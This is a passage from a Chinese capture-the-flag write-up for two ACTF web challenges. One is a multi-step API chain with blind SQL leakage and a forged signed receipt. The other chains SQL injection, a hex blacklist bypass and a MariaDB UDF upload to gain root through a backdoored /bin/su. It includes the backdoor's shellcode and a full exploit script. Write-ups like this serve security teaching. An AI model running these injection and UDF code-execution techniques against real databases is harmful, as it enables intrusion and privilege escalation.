for i in range(1, length + 1):
ch = leak_char(i)
out += ch
print(f"[{i}] {out!r}")
return out


def calc_claim_proof(order_id, train_id, station_code,
ticket_no, salt):
digest = hashlib.sha256(
f"{order_id}|{train_id}|{station_code}|
{ticket_no}|{salt}".encode()
).hexdigest()
return f"CP-{salt}-{digest[:12]}"


if __name__ == "__main__":
salt = leak_salt(9)
print("[+] claim_salt =", salt)

# 可选校验
check = oracle(
f"(SELECT claim_salt FROM
station_claim_artifacts "
f"WHERE order_id='{ORDER_ID}')='{salt}'"
)
print("[+] validation =", check)

proof = calc_claim_proof(ORDER_ID, TRAIN_ID,
STATION, TICKET_NO, salt)
print("[+] claimProof =", proof)

本次盲出的结果:

claim_salt = RS095N5W8

于是:

sha256(“OILQJUUU8SU|G7608|HGH|T-HGH-7608-019|RS095N5W8”)

得到 digest 前 12 位后,拼出:

claimProof = CP-RS095N5W8-3762bdb19494

第四步,插入合法 adjustment,并编译到 settlement 状态

提交:

1
POST /api/desk/tickets/adjust

参数:

  • ticketNo = T-HGH-7608-019
  • claimProof = CP-RS095N5W8-3762bdb19494
  • memo = 上述符合 HGH policy 的 JSON

本次成功返回:

1
{"status":"adjustment_recorded", ...}

然后触发:

1
2
3
4
5
6
7
8
POST /api/corporate/imports/relay
body:
{
"stationCode":"HGH",
"adapter":"station-desk-ledger",
"target":"rail-mesh://desk/ledger?orderId=OILQJUUU8SU&stationCode=HGH",
"payload":"compile"
}

这样会把订单推进到:

  • sampled = 1
  • batch_open = 1
  • renderer_profile = folio-grid-27

第五步,注入 trusted lane / board profile / JWKS

先写一条 notice:

1
POST /api/desk/notices

proxyHint 内容:

1
2
3
4
X-Desk-Lane: delta-window-27
X-Board-Window: seat-window-e27
X-Desk-Key-Id: POL-HGH-TRUSTED
X-Desk-Key: delta-window-27

再触发:

1
POST /api/corporate/imports/relay

body:

1
2
3
4
5
6
{
"stationCode":"HGH",
"adapter":"station-partner-feed",
"target":"rail-mesh://partner/feed?stationCode=HGH",
"payload":"feed"
}

这样 signer lane、board profile、partner jwks 都会就位。

第六步,建立 WebSocket boarding channel,拿 ledgerRef

连接:

1
GET /api/connect/boarding?stationCode=HGH

waitlist_session 作为 cookie,按顺序发三条消息:

  1. boarding.hello
  2. boarding.bind
  3. boarding.confirm

返回:

1
2
3
4
5
6
7
{
"event":"boarding.confirmed",
"orderId":"OILQJUUU8SU",
"stationCode":"HGH",
"ledgerRef":"8fb597e6e032cfeeafc49962",
"expiresIn":90
}

于是拿到:

1
ledgerRef = 8fb597e6e032cfeeafc49962

第七步,创建 batch,伪造 trusted receipt

先建一个 deferred reconciliation batch:

POST /api/corporate/reconciliation

使用模板:

Reconciliation

然后用已知 trusted key:

  • kid = POL-HGH-TRUSTED
  • key = e94c0a8d-12307-hgh-trusted

构造 HS256 carrierSeal

payload 中前后放置重复 key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"batchId":"...",
"orderId":"...",
"stationCode":"HGH",
"templateDigest":"...",
"routeName":"delta-window-27",
"ledgerRef":"8fb597e6e032cfeeafc49962",
"printProfile":"counter-copy",
"printer":"thermal-standard",
"prefix":"reconciliation",
"cell":"receipt",
"printProfile":"clearing-batch",
"printer":"line-printer",
"driverProgram":"/usr/bin/base64",
"driverArgument":"/flag"
}

然后调用:

1
POST /api/corporate/receipts/prepare

并带:

1
"trustLevel":["settlement"]

本次成功返回:

1
2
3
4
5
6
{
"status":"signed",
"receiptId":"RNKPL2MYNYP80",
"batchId":"BFJZIEOAD5E",
...
}

第九步,pulse + schedule + 取回 flag

fulfillment epoch TTL 很短,所以在 schedule 前立刻发:

1
2
POST /api/mobile/waitlist/pulse
{"orderId":"OILQJUUU8SU"}

再调度:

1
2
POST /api/corporate/settlement/schedule
{"batchId":"BFJZIEOAD5E"}

最后轮询:

1
GET /api/corporate/reconciliation/BFJZIEOAD5E

返回:

1
2
3
4
5
6
7
8
9
10
{
"batchId":"BFJZIEOAD5E",
"report":{
"batchId":"BFJZIEOAD5E",
"ready":true,
"reasons":[],
"body":"Reconciliation OILQJUUU8SU waitlisted QUNURnt3SHlfYXIxX3kwdV9zbzBPMG8wT28wb19GYXMxPz8/Pz9fQzJDZnc2cnlEOTR9\n",
"finishedAt":1778491987
}
}

把后面的 base64 解码即可得到:

ACTF{wHy_ar1_y0u_so0O0o0Oo0o_Fas1?????_C2Cfw6ryD94}

2026.5.12 ACTF GoMySQL

访问网页,发现两个功能点。

/draw,你输入name,返回crc32(name),没什么利用点

/calc,访问后如图:

5

提醒说不能用sql关键词,猜测为执行sql语句,输入version(),返回

1
version(): [49 48 46 49 49 46 49 52 45 77 97 114 105 97 68 66 45 48 43 100 101 98 49 50 117 50]

ascii码转化得到:10.11.14-MariaDB-0+deb12u2

在原本的payload基础上加上databases。

6

存在堆叠注入.databases返回

1
2
3
4
5
information_schema
mysql
performance_schema
sys
testdb

使用十六进制可以绕过黑名单,比如想要执行select database()

payload:"execute immediate 0x73656c6563742064617461626173652829"

可以实现任意sql执行,

尝试load_file失败,猜测flag需要root权限.

接下来确定权限,执行sql语句:show grants

payload:execute immediate 0x<hex(show grants)>

得到

1
2
GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` IDENTIFIED BY PASSWORD '*BF7B173F1C146F576CC267F0BAEF5589A08404FB' WITH GRANT OPTION
GRANT PROXY ON ''@'%' TO 'root'@'localhost' WITH GRANT OPTION

所以接下来的思路是:

1
2
3
4
5
6
7
8
9
10
既然有:
任意 SQL
高权限 DB 用户
可以写 plugin 目录
那最直接的利用链就是:
本地编译一个 MariaDB UDF 动态库 .so
通过 SQL select 0x... into dumpfile '...' 把 .so 上传到 plugin 目录
create function ... soname 'xxx.so' 注册 UDF
通过 UDF 拿命令执行
然后提权读取/flag

提权的话直接su就成功提权了,因为这里的su被污染了,存在后门,在getshell后拿到su让ai分析如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
/bin/su 污染分析
结论
服务器上的 /bin/su 不是正常的 util-linux su,而是一个 setuid root 的后门程序。 它被伪装成 su,但实际入口代码会直接:
setuid(0)
execve("/bin/sh", NULL, NULL)
弹出 root shell
所以前面利用链里之所以可以在 UDF 中直接执行:
execl("/bin/su", "su", "root", NULL);
并且不用输入密码就拿到 root,根本原因不是正常 PAM 认证被绕过,而是:
分析过程
1. 远程把 /bin/su 拉回本地
利用题目已有 SQL 注入 + MariaDB UDF RCE,上传一个 sys_eval UDF,在远端执行命令。
先确认 /bin/su 基本信息:
id
ls -l /bin/su
sha256sum /bin/su
md5sum /bin/su
远端得到:
uid=100(mysql) gid=101(mysql) groups=101(mysql)
-rwsr-xr-x 1 root root 72000 Nov 21 2024 /bin/su
f6dda491e85981feb1c0900f2b16f556e7aa2ca79b569b1180549cae58c22f98 /bin/su
c502c7e0aa3b6df196b8dc7111d6dab0 /bin/su
说明:
文件所有者是 root
带 suid 位
mysql 用户可以执行
随后使用:
base64 -w0 /bin/su
把远端 /bin/su 编码后拉回本地,保存为:
/mnt/c/Users/30882/Desktop/temp/remote_su
2. 静态检查发现明显异常
本地检查:
file remote_su
readelf -h remote_su
readelf -l remote_su
xxd -g 1 -l 256 remote_su
结果显示这个 ELF 很不正常:
ELF64 可执行文件
不是正常的 su 体积和布局
没有 section header
只有 1 个 program header
可执行段非常小,只有 0x9e 字节
入口点直接落在最前面的一小段 shellcode 上
这和正常的 util-linux su 完全不一样。
正常系统中的 /bin/su 通常会表现为:
动态链接
结构完整
包含多个段
带正常的解释器、符号和构建信息
而这个文件明显是人工构造的极简 ELF。
3. 入口点机器码就是后门逻辑
从文件头部提取到的关键字节如下:
31 c0 31 ff b0 69 0f 05
48 8d 3d 0f 00 00 00 31 f6 6a 3b 58 99 0f 05
31 ff 6a 3c 58 0f 05
2f 62 69 6e 2f 73 68 00
对应逻辑可还原为:
setuid(0);
execve("/bin/sh", NULL, NULL);
exit(0);
更细一点解释:
第一段:setuid(0)
31 c0 xor eax, eax
31 ff xor edi, edi
b0 69 mov al, 0x69
0f 05 syscall
在 x86_64 Linux 下:
rax = 105 (0x69) 表示 setuid
rdi = 0 表示参数 uid=0
所以这里就是:
setuid(0);
第二段:execve("/bin/sh", NULL, NULL)
48 8d 3d 0f 00 00 00 lea rdi, [rip+0xf]
31 f6 xor esi, esi
6a 3b push 0x3b
58 pop rax
99 cdq
0f 05 syscall
这里:
rax = 59,即 execve
rdi 指向后面的字符串 /bin/sh
rsi = 0
rdx = 0
也就是:
execve("/bin/sh", NULL, NULL);
第三段:退出
31 ff
6a 3c
58
0f 05
对应:
exit(0);
为什么它看起来还像正常 su
在 strings remote_su 里还能看到一些关键词,例如:
pam_authenticate
pam_open_session
root
password
libpam.so.0
这说明文件后部还拼接了一些额外内容,起到“伪装”效果,让它看起来像正常的 su。
但关键点在于:
因此,尽管字符串上看起来和 PAM、认证相关,实际执行路径并不会走正常的 su 用户认证流程。
为什么前面的 UDF 提权能成功
前面 UDF 中用的是:
execl("/bin/su", "su", "root", (char*)NULL);
如果这是正常的 /bin/su,通常会:
要求输入 root 密码
进入 PAM 认证流程
没有密码就失败
但这里因为 /bin/su 已经被替换成后门,执行它时实际发生的是:
因为它本身带 suid root,启动后就是 root 权限上下文
入口代码立即执行 setuid(0)
随后直接 execve("/bin/sh")
返回的是 root shell,而不是正常 su 提示符
所以才会在 UDF 里看到:
#
然后发送:
id
cat /flag
exit
就能直接拿到:
uid=0(root) ...
ACTF{...}
最终结论
这题中的“本地提权点”不是传统提权漏洞,也不是正常 su 认证异常,而是:
因此利用链实际上是:
SQL 注入
execute immediate 0x... 绕过黑名单
上传并注册 MariaDB UDF
获得 mysql 用户代码执行
调用被污染的 /bin/su
直接起 root shell
cat /flag
样本信息
远端 /bin/su:
权限:-rwsr-xr-x
属主:root:root
大小:72000
SHA256:f6dda491e85981feb1c0900f2b16f556e7aa2ca79b569b1180549cae58c22f98
MD5:c502c7e0aa3b6df196b8dc7111d6dab0
本地保存路径:
/mnt/c/Users/30882/Desktop/temp/remote_su

获得flag的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
#!/usr/bin/env python3
import html
import pathlib
import re
import subprocess
import sys
import tempfile
import urllib.parse
import urllib.request

BASE = sys.argv[1] if len(sys.argv) > 1 else 'http://web-c3e70a8df8.adworld.xctf.org.cn'
CALC = BASE.rstrip('/') + '/calc'

UDF_SRC = r'''
#define _XOPEN_SOURCE 600
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pty.h>
#include <sys/wait.h>
#include <sys/select.h>
#include <fcntl.h>

typedef char my_bool;
enum Item_result { STRING_RESULT=0, REAL_RESULT, INT_RESULT, ROW_RESULT, DECIMAL_RESULT };
typedef struct st_udf_args { unsigned int arg_count; enum Item_result *arg_type; char **args; unsigned long *lengths; char *maybe_null; } UDF_ARGS;
typedef struct st_udf_init { my_bool maybe_null; unsigned int decimals; unsigned long max_length; char *ptr; my_bool const_item; } UDF_INIT;

my_bool su_probe_init(UDF_INIT *initid, UDF_ARGS *args, char *message){
initid->maybe_null = 1;
initid->max_length = 65535;
initid->ptr = NULL;
return 0;
}

void su_probe_deinit(UDF_INIT *initid){
if (initid->ptr) free(initid->ptr);
}

static void append_buf(char **buf, size_t *used, size_t *cap, const char *data, size_t n){
if (*used + n + 1 > *cap) {
size_t nc = *cap ? *cap * 2 : 4096;
while (*used + n + 1 > nc) nc *= 2;
char *nb = realloc(*buf, nc);
if (!nb) return;
*buf = nb;
*cap = nc;
}
memcpy(*buf + *used, data, n);
*used += n;
(*buf)[*used] = 0;
}

char *su_probe(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error){
int mfd;
pid_t pid;
char *buf = NULL;
size_t used = 0, cap = 0;
char tmp[1024];

pid = forkpty(&mfd, NULL, NULL, NULL);
if (pid < 0) {
*error = 1;
return NULL;
}
if (pid == 0) {
execl("/bin/su", "su", "root", (char*)NULL);
_exit(127);
}

fcntl(mfd, F_SETFL, O_NONBLOCK);
int stage = 0, status = 0;
for (int iter = 0; iter < 150; iter++) {
fd_set rfds;
FD_ZERO(&rfds);
FD_SET(mfd, &rfds);
struct timeval tv = {0, 200000};
int rv = select(mfd + 1, &rfds, NULL, NULL, &tv);
if (rv > 0 && FD_ISSET(mfd, &rfds)) {
ssize_t n = read(mfd, tmp, sizeof(tmp));
if (n > 0) {
append_buf(&buf, &used, &cap, tmp, (size_t)n);
if (stage == 0) {
write(mfd, "\n", 1);
stage = 1;
} else if (stage == 1 && strstr(buf, "# ")) {
write(mfd, "id\ncat /flag\nexit\n", 18);
stage = 2;
}
}
}
if (waitpid(pid, &status, WNOHANG) == pid) break;
}

close(mfd);
waitpid(pid, &status, 0);
if (!buf) {
buf = calloc(1, 1);
if (!buf) {
*error = 1;
return NULL;
}
}
if (initid->ptr) free(initid->ptr);
initid->ptr = buf;
*length = (unsigned long)used;
return initid->ptr;
}
'''

def http_post_expr(expr: str) -> str:
data = urllib.parse.urlencode({'expression': expr}).encode()
req = urllib.request.Request(CALC, data=data, method='POST')
with urllib.request.urlopen(req, timeout=180) as resp:
return resp.read().decode('utf-8', 'replace')

def parse_items(page: str):
return [html.unescape(x) for x in re.findall(r'<li>(.*?)</li>', page, re.S)]

def decode_maybe_bytes(s: str) -> str:
m = re.search(r'\[([0-9 ]+)\]', s)
if m:
try:
return bytes(int(x) for x in m.group(1).split()).decode('utf-8', 'replace')
except Exception:
pass
return s

def exec_sql(sql: str):
expr = '1;execute immediate 0x' + sql.encode().hex()
items = parse_items(http_post_expr(expr))
return items

def build_udf() -> bytes:
with tempfile.TemporaryDirectory() as td:
src = pathlib.Path(td) / 'su_probe.c'
so = pathlib.Path(td) / 'lib_mysqludf_suinteractive.so'
src.write_text(UDF_SRC, encoding='ascii')
subprocess.run(['gcc', '-shared', '-fPIC', '-O2', '-o', str(so), str(src)], check=True)
return so.read_bytes()

def show(sql: str):
items = exec_sql(sql)
print(f'[*] SQL: {sql}')
for it in items[:8]:
print(' ', decode_maybe_bytes(it))
return items

def main():
print('[*] target =', BASE)

show('select database()')
show('show grants')
show("show variables like 'plugin_dir'")

so = build_udf()
print(f'[*] built udf bytes = {len(so)}')

steps = [
'drop function if exists su_probe',
"select 0x%s into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_suinteractive.so'" % so.hex(),
"create function su_probe returns string soname 'lib_mysqludf_suinteractive.so'",
]
for st in steps:
items = exec_sql(st)
print('[*] step:', st[:120])
for it in items[:4]:
print(' ', decode_maybe_bytes(it))

items = exec_sql('select su_probe()')
print('[*] su_probe raw items:')
for it in items[:6]:
d = decode_maybe_bytes(it)
print(' ', repr(d[:500]))
m = re.search(r'(?:ACTF|flag|FLAG|CTF)\{[^\r\n}]+\}', d)
if m:
print('[+] FLAG =', m.group(0))
return

joined = '\n'.join(decode_maybe_bytes(x) for x in items)
m = re.search(r'(?:ACTF|flag|FLAG|CTF)\{[^\r\n}]+\}', joined)
if m:
print('[+] FLAG =', m.group(0))
return

raise SystemExit('[-] flag not found')

if __name__ == '__main__':
main()